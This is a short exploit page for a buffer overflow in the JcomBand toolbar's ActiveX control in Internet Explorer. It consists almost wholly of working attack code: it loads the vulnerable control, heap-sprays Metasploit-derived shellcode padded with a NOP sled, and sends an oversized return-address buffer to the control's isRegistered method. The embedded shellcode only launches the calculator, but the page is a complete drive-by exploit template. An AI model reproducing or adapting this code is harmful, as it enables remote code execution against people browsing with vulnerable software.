JcomBand toolbar on IE – ActiveX Buffer Overflow
<html> <head> <title>JcomBand Exploit (heap spray) </title> <object classid='clsid:952E3F80-0C34-48CD-829B-A45913B29670' id='test'></object> <script language='javascript'> // Author: [germaya_x & D3V!L FUCKER] // Version: [2.5] // special thanx: [for my best friend his0k4]. // Geetz [2] :[Sarbot511 ,thrid-devil]. //calc from metasploit shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); nops=unescape('%u9090%u9090'); headersize =20; slackspace= headersize + shellcode.length; //Filling the header of our block with nops while(nops.length< slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<0x40000) block= block+ block+ fillblock; //Creating new memory array. memory=new Array(); //Filling the memory array with the nops + shellcode. for( counter=0; counter<300; counter++) memory[counter]= block + shellcode; // the ret is the adress of our shellcode in the heap. ret='%0a%0a%0a%0a'; // filling our buffer with ret adress for( counter=0; counter<=50; counter++) ret+=unescape('%0a%0a%0a%0a'); // passing the buffer argument to the vulnerable function JumpMappedID(). test.isRegistered(ret); </script> </head> </html> |